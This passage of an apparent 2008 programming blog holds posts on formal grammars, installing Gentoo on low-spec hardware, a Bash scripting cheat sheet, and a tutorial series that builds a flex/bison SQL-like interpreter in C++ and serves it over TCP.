Interestingly hierarchical (which implies a tree) grammars can also be used generatively to produce strings of arbitrary length that conforms to production rules. Although the generation process can produce any string, a parser effectively defines the generation process bound by input to produce one and only one syntax tree. This is thus a deterministic finite state machine when considering only the start state (empty syntax tree) and end state (a syntax tree generated based on a predefined input). Not to be confused with the state transition process within a GLR parser during parsing, a GLR parser can be a nondeterministic finite state machine.

References
1. http://en.wikipedia.org/wiki/Formal_grammar

Flavors of Linux, the Gentoo distro

2008-02-13T12:40:00.003-05:00

If you have a computer with 3G harddrive and 128M memory. What do you do if you want to install a linux distro on it? This kind of computer configuration is probably considered archaic and unusable. Even the main stream linux distros are having trouble with it, including Fedora core, Opensuse, Ubunto. Here comes Gentoo for the rescue.

The gentoo quick installation guide shows the user the full control on how the system can be built. With a network connection established, the system can be built from a remote shell by executing a bunch of command line commands! This convenience is invaluable, considering that you don't have to sit next to a noisy box and stare at its screen. The base system uses only about 1G harddrive space with most of the useful development tools installed.

The gentoo 'emerge' system provides decent package management features that most other small linux distros don't have. Therefore you pretty much get the best of both worlds (the all-in-one big desktop distro and down-to-the-earth barebone small distro). The only drawback is emerge usually needs to compile a package from source, the '-k' flag rarely works. :( But fortunately for what it's good for, you shouldn't have to emerge big apps all the time.

One of the headaches of using gentoo is what I call 'dead patch' problem. Sometimes, the ebuild info came with a distro or portage does not get updated to reflect patch changes and you end up with dead patch files that are no longer available from gentoo distfiles sources. In this kind of rare situations, one has to create new ebuild files and update the package ebuild database. The steps are:

1. after emerge failure, figure out a live patch file and note the difference between dead patch number and live patch number
2. cd /usr/portage/category/package-name/
3. cp deadpatch.ebuild livepatch.ebuild, make necessary changes in livepatch.ebuild, as of 2007.1 distro, it is no longer necessary to modify the newly created livepatch.ebuild as the ebuild system automatically deduct the patch number from the ebuild file name.
4. issue command: ebuild livepatch.ebuild digest This will update the ebuild database
5. redo emerge and repeat the process if there is remaining errors related to bad ebuild info

References:
1. http://www.gentoo.org/doc/en/gentoo-x86-quickinstall.xml
2. http://www.gentoo.org/doc/en/handbook/handbook-x86.xml?part=1&chap=10

Compilers Part 6, DSEL interpreter in a tcp/ip server

2008-02-11T10:30:00.000-05:00

We are finally ready to port our interpreter into a tcp/ip server. DSEL stands for domain specific embedded language. In our project, we created a simple sql like scripting language to directly manipulate data stored in memory.

There are a few technicalities apart from lexer/parser to successfully build a tcp/ip server. We use the TCP_server implementation from STLplus library, this implementation provides us a non-blocking poll based tcp server implementation. Combined with forking or boost thread, it can be easily adapted in a multiplexing tcp/ip server.

We introduce a new output string stream as our global (or per thread if necessary) output buffer because we no longer have yyout (stdout) to display result from interpreter. The result of interpreting user input is put into the output string stream and sent back to client. We simply rename the 'main' method in the bison grammar file to 'parse' and invoke it from a serverlet thread as the server processing function, it simply calls 'yyparse' to parse client input. Before the server calls parse, it calls set_yybuffer(TCP_connection & conn) to set up flex in memory string buffer using techniques discussed in the previous entry on compiler construction.

In set_yybuffer, we send the server output to client and accepts client input and creates a flex string buffer from it. Every time client input is exhausted, yywrap is called and current flex buffer is released and set_yybuffer is called again to read input from client. Because we use poll based non-blocking tcp IO provided by STLplus, we don't have to worry much about synchronizing between client and server. The library provides convenient interface to operate IO based on the socket status.

As usual, the complete listing including its makefile is posted here:



#ifndef MAP_H
#define MAP_H
#include < string>
#include < iostream>
#include < sstream>
#include < iomanip>
#include < map>

#include < boost/lambda/lambda.hpp>
typedef std::map< std::string, std::string> map_t;

#include "tcp.hpp"
extern int set_yybuffer(TCP_connection & );
extern int parse();
// a value type that describe the value of a symbol table entry
// Essentially the symbol table entry data structure
struct value{
    unsigned char type; // the first letter of corresponding union type
    union {
        int ival;
        float fval;
        double dval;
        char * sval;
        map_t * mval;
    } ivalue;
};

// The symbol table data structure
// Symbol table entry is keyed by the symbol string value
typedef std::map< std::string, value> symtab_t;

extern symtab_t symtab;
extern std::ostringstream os;
extern int yyerror(char *);
#endif

%{
#include "map.tab.h"
#include "map.h"

extern "C"{
#include < unistd.h>
#include < fcntl.h>
#include < time.h>
#include < string.h>
}
TCP_connection conn_yy;
std::string data;
std::ostringstream os;

bool report_err;
int lineno;
int tokenpos;
%}
D   [0-9]
N   {D}+
L   [a-zA-Z]
A   [a-zA-Z0-9]
ID  ({L}{A}*)

%option yylineno
%%

select      { tokenpos += yyleng; return SELECT; }
insert      { tokenpos += yyleng; return INSERT; }
into        { tokenpos += yyleng; return INTO; }
from        { tokenpos += yyleng; return FROM; }
create      { tokenpos += yyleng; return CREATE; }
table       { tokenpos += yyleng; return TABLE; }
list        { tokenpos += yyleng; return LIST; }
where       { tokenpos += yyleng; return WHERE; }
key         { tokenpos += yyleng; return KEY; }
value       { tokenpos += yyleng; return VALUE; }
quit        { tokenpos += yyleng; return QUIT; }

${ID}       { tokenpos += yyleng; yylval.text = strdup(yytext+1); return OBJECT; }
{ID}        { tokenpos += yyleng; yylval.text = strdup(yytext); return TEXT; }
[ \t]       { tokenpos += yyleng; /* ignore white space */ }
.           { tokenpos += yyleng; return yytext[0]; }
\n          { return '\n'; }

%%

int yyerror(char * s){
    extern int yylineno;
    os << yylineno << " : " << s << " at \n" << data;
    for(int i = 0; i < tokenpos; i ++) os << ' ';
    os << "^\n";
}

YY_BUFFER_STATE cur_buffer;

int set_yybuffer(TCP_connection & conn){
    conn_yy = conn;
    tokenpos = 0;
    int ntry = 0; // time out after 120 seconds

    while(!conn.send_ready(100000)) ;
    std::string send_data = os.str();
    std::cout << "send to client: " << send_data;
    if(!conn.send(send_data)) return 1;
    os.str("");

    while(!conn.receive_ready(100000) && ntry ++ < 1200) ;
    data = "";
    if(ntry >= 1200 || !conn.receive(data)) return 1;
    os << data;

    std::cout << "analyze: " << data;
    cur_buffer = yy_scan_string(data.c_str());

    return 0;
}

int yywrap(){
    yy_delete_buffer(cur_buffer);
    return set_yybuffer(conn_yy);
}

%{
extern "C"{
#include < stdio.h>
#define YYDEBUG 1
}
extern int yyerror(char *);
extern int yylex();

#include "map.h"

symtab_t symtab;
bool where_by_key = false;
bool where_by_value = false;
std::string tablename;
std::string where;
%}

%union{
    char * text;
}

%token  INSERT SELECT INTO TEXT OBJECT FROM CREATE TABLE LIST
%token  WHERE KEY VALUE
%token  QUIT
%%

statements: statements statement
    | statement
    ;
statement: insert_stmt opt_semicolon '\n'
    | select_stmt opt_semicolon '\n'
    | create_stmt opt_semicolon '\n'
    | assign_stmt opt_semicolon '\n'
    | list_stmt opt_semicolon '\n'
    | QUIT opt_semicolon '\n'
    | '\n'
    | error '\n' { yyclearin; yyerrok; }
    ;
opt_semicolon:
    | ';'
    ;
assign_stmt:
    OBJECT '=' TEXT
            {
                // string variable assignment
                symtab_t::iterator it = symtab.find($1);
                if(it != symtab.end() && it->second.type == 's') // Symbol found and type is correct
                    it->second.ivalue.sval = $3;
                else{  // New symbol, add to symbol table
                    value v;
                    v.ivalue.sval = $3;
                    v.type = 's';
                    symtab[$1] = v;
                }
            }
    ;
create_stmt:
    CREATE TABLE OBJECT
            {
                // Create a new dictionary
                std::string symbol = $3;
                symtab_t::iterator it = symtab.find(symbol);
                if(it != symtab.end() && it->second.type == 'm'){ // Symbol found and type is correct
                    os << "symbol: " << symbol << " already exists\n";
                }else{ // New symbol, create new map(table), add to symbol table
                    value v;
                    v.ivalue.mval = new(map_t);
                    v.type = 'm';
                    symtab[symbol] = v;
                }
            }
    ;
insert_stmt:
    INSERT INTO OBJECT '(' TEXT ',' TEXT ')'
            {
                // insert key, value pair into an existing dictionary
                symtab_t::const_iterator it = symtab.find($3);
                if(it != symtab.end() && it->second.type == 'm'){ // Symbol found and type is correct
                    (*(it->second.ivalue.mval))[std::string($5)] = std::string($7);
                }else
                    os << "unknown symbol: " << $3 << " create first\n";
            }
    ;
select_stmt: simple_select_stmt
            {
                // go through all key, value pair of a dictionary
                symtab_t::const_iterator it = symtab.find(tablename);
                if(it != symtab.end() && it->second.type == 'm'){
                    map_t::const_iterator mit = it->second.ivalue.mval->begin();
                    for(; mit != it->second.ivalue.mval->end(); ++ mit)
                        os << "key = " << mit->first << ' '
                            << "value = " << mit->second << '\n';
                }else
                    os << "invalid object\n";

            }
    | simple_select_stmt opt_where_stmt
            {
                // go through all key, value pair of a dictionary
                // based on where criteria, search by key or value
                symtab_t::const_iterator it = symtab.find(tablename);
                if(it != symtab.end() && it->second.type == 'm'){
                    map_t::const_iterator mit = it->second.ivalue.mval->begin();
                    for(; mit != it->second.ivalue.mval->end(); ++ mit)
                        if( (where_by_key && mit->first == where) ||
                            (where_by_value && mit->second == where) ||
                            (!where_by_key && !where_by_value) )
                            os << "key = " << mit->first << ' '
                                << "value = " << mit->second << '\n';
                }else
                    os << "invalid object\n";

                where_by_key = where_by_value = false;

            }
    ;
simple_select_stmt:
    SELECT '*' FROM OBJECT  { tablename = $4; }
    ;
opt_where_stmt: WHERE KEY '=' TEXT { where_by_key = true; where = $4; }
    | WHERE VALUE '=' TEXT         { where_by_value = true; where = $4; }
    ;
list_stmt:
    LIST
            {
                // Dump the entire symbol table
                // For dictionaries, dump all key, value pairs as well
                //
                // Iterate through the symbol table
                symtab_t::const_iterator it = symtab.begin();
                for(; it != symtab.end(); ++it){
                    os << "symbol: " << it->first << ' ' << it->second.type << '\n';
                    switch(it->second.type){
                        case 's':    os << "value = " << it->second.ivalue.sval << '\n';
                                break;
                        case 'm':    {
                                // iterate through the dictionary
                                map_t::const_iterator mit = it->second.ivalue.mval->begin();
                                for(; mit != it->second.ivalue.mval->end(); ++ mit)
                                    os << "key = " << mit->first << ' '
                                        << "value = " << mit->second << '\n';
                                }
                                break;
                        default:
                                os << "Unknown data type\n";
                                break;
                    }
                }
            }
    ;
%%

int parse(){
    extern int yydebug;
    yydebug = 0;
    yyparse();
}

#include < vector>
#include < iostream>
#include < algorithm>
#include < functional>

#include "map.h"

#include "tcp.hpp"
#include "fileio.hpp"
#include "debug.hpp"
using namespace std;

int main (int argc, char* argv[])
{
    DEBUG_TRACE;
    if (argc != 2)
        ferr << "usage: " << argv[0] << " " << endl;
    else
    {
        // create a client connection
        // the address is specified by command argument 1 and the port
        // specified by argument 2. Use a timeout of 10s.
        TCP_server main_server((unsigned short)atoi(argv[1]), 5);
        // test to see if the connection completed OK within the timeout
        if (!main_server.initialised())
        {
            ferr << "server failed to initialise" << endl;
            return -1;
        }
        if (main_server.error())
        {
            ferr << "server initialisation failed with error " << main_server.error() << endl;
            return -1;
        }
        while(!main_server.connection_ready(1000000)) ;
        TCP_connection server = main_server.connection();

        std::cout << "Got a new connection.\n";
        if(!set_yybuffer(server))
            parse();
    }
}

A few notes, the program misses stringent memory manage, there are memory leaks associated with strdup usage (fix is simple, add free in grammar action code); server does not finalize without proper QUIT action code; turn the server into a multiplexing server and add proper synchronization on shared objects. These are important for a real world application but they are not the focus of our project.

We have successfully create a DSEL interpreter living inside a tcp/ip server utlizing powerful C++ STL library. This is a good starting point to implement more robust and useful server side DSEL interpreters.

Bash Programming Cheat Sheet (Repost)

2008-02-08T20:17:00.000-05:00

Help File Library: Bash Programming Cheat Sheet

Written By: ph34r

A quick cheat sheet for programmers who want to do shell scripting. This is not intended to teach programming, etc. but it is intended for a someone who knows one programming language to begin learning about bash scripting.

Basics

All bash scripts must tell the o/s what to use as the interpreter. The first line of any script should be:
#!/bin/bash

You must make bash scripts executable.
chmod +x filename

Variables

Create a variable - just assign value. Variables are non-datatyped (a variable can hold strings, numbers, etc. with out being defined as such).
varname=value

Access a variable by putting $ on the front of the name
echo $varname

Values passed in from the command line as arguments are accessed as $# where #= the index of the variable in the array of values being passed in. This array is base 1 not base 0.
command var1 var2 var3 .... varX
$1 contains whatever var1 was, $2 contains whatever var2 was, etc.

Built in variables:

Variable Use
$1-$N Stores the arguments (variables) that were passed to the shell program from the command line.
$? Stores the exit value of the last command that was executed.
$0 Stores the first word of the entered command (the name of the shell program).
$* Stores all the arguments that were entered on the command line ($1 $2 ...).
"$@" Stores all the arguments that were entered on the command line, individually quoted ("$1" "$2" ...).

Quote Marks
Regular double quotes ("like these") make the shell ignore whitespace and count it all as one argument being passed or string to use. Special characters inside are still noticed/obeyed.

Single quotes 'like this' make the interpreting shell ignore all special characters in whatever string is being passed.

The back single quote marks (`command`) perform a different function. They are used when you want to use the results of a command in another command. For example, if you wanted to set the value of the variable contents equal to the list of files in the current directory, you would type the following command: contents=`ls`, the results of the ls program are put in the variable contents.

Logic and comparisons
A command called test is used to evaluate conditional expressions, such as a if-then statement that checks the entrance/exit criteria for a loop.

test expression
Or
[ expression ]

Numeric Comparisons
int1 -eq int2 Returns True if int1 is equal to int2.
int1 -ge int2 Returns True if int1 is greater than or equal to int2.
int1 -gt int2 Returns True if int1 is greater than int2.
int1 -le int2 Returns True if int1 is less than or equal to int2
int1 -lt int2 Returns True if int1 is less than int2
int1 -ne int2 Returns True if int1 is not equal to int2

String Comparisons
str1 = str2 Returns True if str1 is identical to str2.
str1 != str2 Returns True if str1 is not identical to str2.
str Returns True if str is not null.
-n str Returns True if the length of str is greater than zero.
-z str Returns True if the length of str is equal to zero. (zero is different than null)

File Comparisons
-d filename Returns True if file, filename is a directory.
-f filename Returns True if file, filename is an ordinary file.
-r filename Returns True if file, filename can be read by the process.
-s filename Returns True if file, filename has a nonzero length.
-w filename Returns True if file, filename can be written by the process.
-x filename Returns True if file, filename is executable.

Expression Comparisons
!expression Returns true if expression is not true
expr1 -a expr2 Returns True if expr1 and expr2 are true. ( && , and )
expr1 -o expr2 Returns True if expr1 or expr2 is true. ( ||, or )

Logic Con't.

If...then

if [ expression ]
then
commands
fi

If..then...else

if [ expression ]
then
commands
else
commands
fi

If..then...else If...else

if [ expression ]
then
commands
elif [ expression2 ]
then
commands
else
commands
fi

Case select

case string1 in
str1)
commands;;
str2)
commands;;
*)
commands;;
esac

string1 is compared to str1 and str2. If one of these strings matches string1, the commands up until the double semicolon (; ;) are executed. If neither str1 nor str2 matches string1, the commands associated with the asterisk are executed. This is the default case condition because the asterisk matches all strings.

Iteration (Loops)

for var1 in list
do
commands
done

This executes once for each item in the list. This list can be a variable that contains several words separated by spaces (such as output from ls or cat), or it can be a list of values that is typed directly into the statement. Each time through the loop, the variable var1 is assigned the current item in the list, until the last one is reached.

while [ expression ]
do
commands
done

until [ expression ]
do
commands
done

Functions

Create a function:

fname(){
commands
}

Call it by using the following syntax: fname

Or, create a function that accepts arguments:

fname2 (arg1,arg2...argN){
commands
}

And call it with: fname2 arg1 arg2 ... argN

Compilers Part 5, working with in memory data buffers

2008-02-07T14:10:00.000-05:00

In the previous entries, we were able to set up the spec for the scripting language. To port the interpreter into a tcp/ip server, the first task is to allow the lexer to work with in memory data buffers instead of stdin and stdout. The reason is simple, user input will come from a network client and there are subtle differences between a network socket and stdin.

Fortunately, flex provides several interface to set up in memory data buffer as token input. The following lex source code demonstrates how to use the relevant interface:



%{
extern "C"{
#include < sys/stat.h>
#include < fcntl.h>
#include < string.h>
}
#include < iostream>
#include < sstream>
#include < fstream>
#include < string>
#include < vector>
#include < algorithm>
using namespace std;

unsigned int line = 0;
std::vector< std::string> text;

%}

extern int yywrap();
%%

\/\/.*$    { cout << "comment: " << yytext; }
.|\n        ;
%%

YY_BUFFER_STATE cur_buffer;
int main(int argc, char * argv[]){

    cout << argv[1] << '\n';
    ifstream ifs(argv[1]);

    char buf[256];
    int len;
    while(ifs.good()){
        memset(buf, 0, 256);
        ifs.getline(buf, 254);
        len = strlen(buf);
        buf[len] = '\n';
        text.push_back(buf);
        cout << buf;
    }
    cout << "\nlines read: " << text.size() << '\n';

    cur_buffer = yy_scan_string(text[line].c_str());
    extern int yylex();
    yylex();

    return 0;
}

int yywrap(){

    yy_delete_buffer(cur_buffer);
    if(line+1 > text.size()) return 1;
    cur_buffer = yy_scan_string(text[line].c_str());
    line ++;
    return 0;
}

yywrap gets called by yylex whenever a input buffer is exhausted, if yywrap returns 1, yylex will return; Therefore, it's a common technique to set up another available data buffer and return 0 to allow yylex continue processing as done in this example.

References:
1. http://flex.sourceforge.net/manual/Multiple-Input-Buffers.html#Multiple-Input-Buffers

Compilers Part 4, Symbol tables

2008-02-01T11:51:00.000-05:00

Continue from last entry, we will add a symbol table to our little sql parser that interacts with in memory dictionaries. We have chosen to support dictionaries of the type std:map< std::string, std::string> because coupled with serialization/deserialization techniques, a dictionary is fit to describe a hierarchical organization of data objects. Theoretically, all things can be represented by strings in a Turing machine. We may cover automatic type deduction and more generic (in terms of coding convenience) solution in future entries on symbol tables.

The reason a map is used instead of using a plain std::set is coding convenience. For std::set we have to supply user defined ordering functions to work with properly. Since we know that symbol table entries are always keyed by symbol name, a straight forward std::string key type works well. Our symbol table itself is a std::map type with key_type std::string and value_type value. struct value is user defined in map.h that contains a union ivalue type in which we hold multiple types our scripting language supports. One of the ivalue type is the dictionary type std::map, typdef map_t. Our mini sql language revolves around manipulating this type of data structure.

We will also make significant enhancement to the syntax of our little scripting language, allowing greater freedom in dictionary creation, object manipulation. Let's first see a transcript of the interpreter in action:


./map
create table $sss;
list
symbol: sss m
insert into $sss (abc, efg)
list
symbol: sss m
key = abc value = efg
insret into $sss( ddd, hik)
4 : syntax error at
insret into $sss( ddd, hik)
      ^
insert into $sss (ddd, hik)
Enter another command
list
symbol: sss m
key = abc value = efg
key = ddd value = hik
select * from $sss;
key = abc value = efg
key = ddd value = hik
select * from $sss where key = ddd
key = ddd value = hik

We have added more reserved keywords, more grammars to enhance the scripting language. Here is the complete code listing:



#ifndef MAP_H
#define MAP_H
#include < string>
#include < iostream>
#include < map>

#include < boost/lambda/lambda.hpp>
typedef std::map< std::string, std::string> map_t;

// a value type that describe the value of a symbol table entry
// Essentially the symbol table entry data structure
struct value{
    unsigned char type; // the first letter of corresponding union type
    union {
        int ival;
        float fval;
        double dval;
        char * sval;
        map_t * mval;
    } ivalue;
};

// The symbol table data structure
// Symbol table entry is keyed by the symbol string value
typedef std::map< std::string, value> symtab_t;

extern int yyerror(char *);
#endif


%{
#include "map.tab.h"
#include "map.h"

extern symtab_t symtab;
std::string line;
bool report_err;
int lineno;
int tokenpos;
%}
D   [0-9]
N   {D}+
L   [a-zA-Z]
A   [a-zA-Z0-9]
ID  ({L}{A}*)
%%

select      { tokenpos += yyleng; return SELECT; }
insert      { tokenpos += yyleng; return INSERT; }
into        { tokenpos += yyleng; return INTO; }
from        { tokenpos += yyleng; return FROM; }
create      { tokenpos += yyleng; return CREATE; }
table       { tokenpos += yyleng; return TABLE; }
list        { tokenpos += yyleng; return LIST; }
where       { tokenpos += yyleng; return WHERE; }
key         { tokenpos += yyleng; return KEY; }
value       { tokenpos += yyleng; return VALUE; }

${ID}       { tokenpos += yyleng; yylval.text = strdup(yytext+1); return OBJECT; }
{ID}        { tokenpos += yyleng; yylval.text = strdup(yytext); return TEXT; }
[ \t]       { tokenpos += yyleng; /* ignore white space */ }
.           { tokenpos += yyleng; return yytext[0]; }
\n.*        { report_err = true; tokenpos = 0; line = yytext+1; yyless(1); lineno++; return '\n'; }

%%

int yyerror(char * s){
    if(report_err){
        std::cout << lineno << " : " << s << " at \n" << line << '\n';
        printf("%*s\n", 1+tokenpos, "^");
    }
}

%{
extern "C"{
#include < stdio.h>
#define YYDEBUG 1
}
extern int yyerror(char *);
extern int yylex();

#include "map.h"

symtab_t symtab;
bool where_by_key = false;
bool where_by_value = false;
std::string tablename;
std::string where;
%}

%union{
    char * text;
}

%token < text> INSERT SELECT INTO TEXT OBJECT FROM CREATE TABLE LIST
%token < text> WHERE KEY VALUE
%%

statements: statements statement
    | statement
    ;
statement: insert_stmt opt_semicolon '\n'
    | select_stmt opt_semicolon '\n'
    | create_stmt opt_semicolon '\n'
    | assign_stmt opt_semicolon '\n'
    | list_stmt opt_semicolon '\n'
    | '\n'
    | error '\n' { yyclearin; yyerrok; std::cout << "Enter another command\n"; }
    ;
opt_semicolon:
    | ';'
    ;
assign_stmt:
    OBJECT '=' TEXT
            {
                // string variable assignment
                symtab_t::iterator it = symtab.find($1);
                if(it != symtab.end() && it->second.type == 's') // Symbol found and type is correct
                    it->second.ivalue.sval = $3;
                else{  // New symbol, add to symbol table
                    value v;
                    v.ivalue.sval = $3;
                    v.type = 's';
                    symtab[$1] = v;
                }
            }
    ;
create_stmt:
    CREATE TABLE OBJECT
            {
                // Create a new dictionary
                std::string symbol = $3;
                symtab_t::iterator it = symtab.find(symbol);
                if(it != symtab.end() && it->second.type == 'm'){ // Symbol found and type is correct
                    std::cerr << "symbol: " << symbol << " already exists\n";
                }else{ // New symbol, create new map(table), add to symbol table
                    value v;
                    v.ivalue.mval = new(map_t);
                    v.type = 'm';
                    symtab[symbol] = v;
                }
            }
    ;
insert_stmt:
    INSERT INTO OBJECT '(' TEXT ',' TEXT ')'
            {
                // insert key, value pair into an existing dictionary
                symtab_t::const_iterator it = symtab.find($3);
                if(it != symtab.end() && it->second.type == 'm'){ // Symbol found and type is correct
                    (*(it->second.ivalue.mval))[std::string($5)] = std::string($7);
                }else
                    std::cerr << "unknown symbol: " << $3 << " create first\n";
            }
    ;
select_stmt: simple_select_stmt
            {
                // go through all key, value pair of a dictionary
                symtab_t::const_iterator it = symtab.find(tablename);
                if(it != symtab.end() && it->second.type == 'm'){
                    map_t::const_iterator mit = it->second.ivalue.mval->begin();
                    for(; mit != it->second.ivalue.mval->end(); ++ mit)
                        std::cout << "key = " << mit->first << ' '
                            << "value = " << mit->second << '\n';
                }else
                    std::cerr << "invalid object\n";

            }
    | simple_select_stmt opt_where_stmt
            {
                // go through all key, value pair of a dictionary
                // based on where criteria, search by key or value
                symtab_t::const_iterator it = symtab.find(tablename);
                if(it != symtab.end() && it->second.type == 'm'){
                    map_t::const_iterator mit = it->second.ivalue.mval->begin();
                    for(; mit != it->second.ivalue.mval->end(); ++ mit)
                        if( (where_by_key && mit->first == where) ||
                            (where_by_value && mit->second == where) ||
                            (!where_by_key && !where_by_value) )
                            std::cout << "key = " << mit->first << ' '
                                << "value = " << mit->second << '\n';
                }else
                    std::cerr << "invalid object\n";

                where_by_key = where_by_value = false;

            }
    ;
simple_select_stmt:
    SELECT '*' FROM OBJECT  { tablename = $4; }
    ;
opt_where_stmt: WHERE KEY '=' TEXT { where_by_key = true; where = $4; }
    | WHERE VALUE '=' TEXT         { where_by_value = true; where = $4; }
    ;
list_stmt:
    LIST
            {
                // Dump the entire symbol table
                // For dictionaries, dump all key, value pairs as well
                //
                // Iterate through the symbol table
                symtab_t::const_iterator it = symtab.begin();
                for(; it != symtab.end(); ++it){
                    std::cout << "symbol: " << it->first << ' ' << it->second.type << '\n';
                    switch(it->second.type){
                        case 's':    std::cout << "value = " << it->second.ivalue.sval << '\n';
                                break;
                        case 'm':    {
                                // iterate through the dictionary
                                map_t::const_iterator mit = it->second.ivalue.mval->begin();
                                for(; mit != it->second.ivalue.mval->end(); ++ mit)
                                    std::cout << "key = " << mit->first << ' '
                                        << "value = " << mit->second << '\n';
                                }
                                break;
                        default:
                                std::cerr << "Unknown data type\n";
                                break;
                    }
                }
            }
    ;
%%

int main(){
    extern int yydebug;
    yydebug = 0;
    yyparse();
}

We do not provide symlookup kind of functions because it's fairly straightforward to find symtable entry with our symtab_t data structure and the returned iterator is of immediate use in the action code. The complex object chaining action code may seem a little taunting at first but they are just regular C++ STL ways of getting/setting std::map data. We also let STL to handle all the memory issues, computing efficiency (std::map is typically implemented as a red-black tree, a kind of balanced binary search tree with very decent insertion, search, deletion speed O(lgN)), APIs. This is primarily why we would like to get lex and yacc to work with C++.

Perhaps most telling is the 'list' command covered by list_stmt grammar, whose action code performs a complete dump of the entire symbol table. We first iterate the symbol table data structure, upon seeing a map_t type, we also iterate all key, value pairs of this symbol. This code illustrate the data structures we use to contain data.

Compilers Part 3, lex & yacc debugging and error recovery

2008-01-31T12:27:00.000-05:00

So far we deliberately didn't talk much about the basics of Lex and Yacc because they are better covered in books and online documents (check the reference section of this entry). In our last entry we focused on how to use C++ code in Lex&Yacc generated parsers and lexers. In this entry, we will talk about debugging lex & yacc and show simple error recovery techniques. These topics are important because as we develop a compiler (or to develop any software), debugging becomes a necessary repeated task if not most frequently. We collect the tips here hidden in corners of various documents.

To help with debugging, start with compile

1) add -d to lex
2) add --debug to yacc (add -t to bison)

In yacc source code, in the definition section, add the following code:

extern "C"{
#include
#define YYDEBUG 1
}
extern int yydebug;
yydebug = 1;

These additions will allow verbose debugging messages displayed in both lex and yacc to learn how tokens are matched and states transitioned.

For error recovery:
The Lex & Yacc book has a dedicated chapter on error recovery. The basic idea is that we need a user defined yyerror function to report error and a hint where the error occured. In the grammar file, we provide action for error state that allows the parser to recover from syntax error in user input.

To demonstrate the debugging techniques and error recovery techniques, a complete lex&yacc specifications are provided. In this example, we would like to provide an interface to allow client modify and display a c++ std::map object. The syntax will be similar to sql. We are going to build a small in memory dictionary (database) that lives in a tcp/ip server that provides a minimal terminal interface to allow data manipulation. We start with simple insert/select commands to demonstrate various techniques that will be used in building this application. We will cover alternative input, symbol table, and tcp/ip client/server in the succeeding entries.



#ifndef MAP_H
#define MAP_H
#include < string>
#include < iostream>
#include < map>

#include < boost/lambda/lambda.hpp>
typedef std::map map_t;
#endif

%{
#include "map.tab.h"
#include "map.h"

extern map_t symtab;
int lineno;
std::string line;
int tokenpos;
bool report_err;
%}
D   [0-9]
N   {D}+
L   [a-zA-Z]
A   [a-zA-Z0-9]
ID  ({L}{A}*)
%%

select              { tokenpos += yyleng; return SELECT; }
insert              { tokenpos += yyleng; return INSERT; }
into                { tokenpos += yyleng; return INTO; }
from                { tokenpos += yyleng; return FROM; }
\${ID}              { tokenpos += yyleng; return OBJECT; }
{ID}                { tokenpos += yyleng;
                        symtab[std::string(yytext)] = std::string(yytext);
                        std::cout << symtab[yytext] << '\n';
                        yylval.text=strdup(yytext);
                        return TEXT;
                    }
[ \t]               { tokenpos += yyleng; /* ignore white space */ }
.                   { tokenpos += yyleng; return yytext[0]; }
\n.*                { report_err = true; tokenpos = 0; line = yytext+1; yyless(1); lineno++; return '\n'; }

%%

void yyerror(char * s){
    if(report_err){
        std::cout << lineno << " : " << s << " at \n" << line << '\n';
        printf("%*s\n", 1+tokenpos, "^");
    }
}
%{
extern "C"{
#include < stdio.h>
#define YYDEBUG 1
}
extern int yyerror(char *);
extern int yylex();

#include "map.h"

map_t object;
map_t symtab;
%}

%union{
    char * text;
}

%token  INSERT SELECT INTO TEXT OBJECT FROM
%%

statements: statements statement
    | statement
    ;
statement: insert_stmt '\n'
    | select_stmt '\n'
    | '\n'
    | error '\n' { yyclearin; yyerrok; std::cout << "Enter another command\n"; }
    ;
insert_stmt:
    INSERT INTO OBJECT '<' TEXT ',' TEXT '>'  {
                object[std::string($5)] = std::string($7);
                }
    ;
select_stmt:
    SELECT '*' FROM OBJECT  {
        std::cout << "SELECT\n";
        map_t::const_iterator it = object.begin();
        for(; it != object.end(); ++it)
            std::cout << it->first << ' ' << it->second << '\n';
        it = symtab.begin();
        for(; it != symtab.end(); ++it)
            std::cout << "symbol: " << it->first << ' ' << it->second << '\n';
    }
%%

int main(){
    extern int yydebug;
    yydebug = 1;
    yyparse();
}

We will use the same makefile provided in last entry. 'make map' will build the binary 'map'. Try
./map and input 'insert into $mm ' and 'insert int $ss ', we get the following output and diagnosis from our parser. There is a caveat with the error reporting, if the first line the user entered has syntax error, it won't be able to report it because the first line's text is not saved (it can be altered to save the text of every line but I haven't found a good way to do it).

Starting parse
Entering state 0
Reading a token: --(end of buffer or a NUL)
insert into $mm
--accepting rule at line 19 ("insert")
Next token is token INSERT ()
Shifting token INSERT ()
Entering state 2
Reading a token: --accepting rule at line 29 (" ")
--accepting rule at line 20 ("into")
Next token is token INTO ()
Shifting token INTO ()
Entering state 10
Reading a token: --accepting rule at line 29 (" ")
--accepting rule at line 22 ("$mm")
Next token is token OBJECT ()
Shifting token OBJECT ()
Entering state 16
Reading a token: --accepting rule at line 29 (" ")
--accepting rule at line 30 ("<")
Next token is token '<' ()
Shifting token '<' ()
Entering state 18
Reading a token: --accepting rule at line 23 ("abc")
abc
Next token is token TEXT ()
Shifting token TEXT ()
Entering state 20
Reading a token: --accepting rule at line 30 (",")
Next token is token ',' ()
Shifting token ',' ()
Entering state 21
Reading a token: --accepting rule at line 23 ("def")
def
Next token is token TEXT ()
Shifting token TEXT ()
Entering state 22
Reading a token: --accepting rule at line 30 (">")
Next token is token '>' ()
Shifting token '>' ()
Entering state 23
Reducing stack by rule 7 (line 31):
$1 = token INSERT ()
$2 = token INTO ()
$3 = token OBJECT ()
$4 = token '<' ()
$5 = token TEXT ()
$6 = token ',' ()
$7 = token TEXT ()
$8 = token '>' ()
-> $$ = nterm insert_stmt ()
Stack now 0
Entering state 7
Reading a token: --(end of buffer or a NUL)

Entering state 5
Reading a token: --(end of buffer or a NUL)
insert int $ss
--accepting rule at line 31 ("
insert int $ss ")
Next token is token '\n' ()
Shifting token '\n' ()
Entering state 4
Reducing stack by rule 5 (line 27):
$1 = token '\n' ()
-> $$ = nterm statement ()
Stack now 0 5
Entering state 13
Reducing stack by rule 1 (line 22):
$1 = nterm statements ()
$2 = nterm statement ()
-> $$ = nterm statements ()
Stack now 0
Entering state 5
Reading a token: --accepting rule at line 19 ("insert")
Next token is token INSERT ()
Shifting token INSERT ()
Entering state 2
Reading a token: --accepting rule at line 29 (" ")
--accepting rule at line 23 ("int")
int
Next token is token TEXT ()
2 : syntax error at
insert int $ss <------------ Nice diagnosis from the parser
^
Error: popping token INSERT ()
Stack now 0 5
Shifting token error ()
Entering state 1
Next token is token TEXT ()
Error: discarding token TEXT ()
Error: popping token error ()
Stack now 0 5
Shifting token error ()
Entering state 1
Reading a token: --accepting rule at line 29 (" ")
--accepting rule at line 22 ("$ss")
Next token is token OBJECT ()
Error: discarding token OBJECT ()
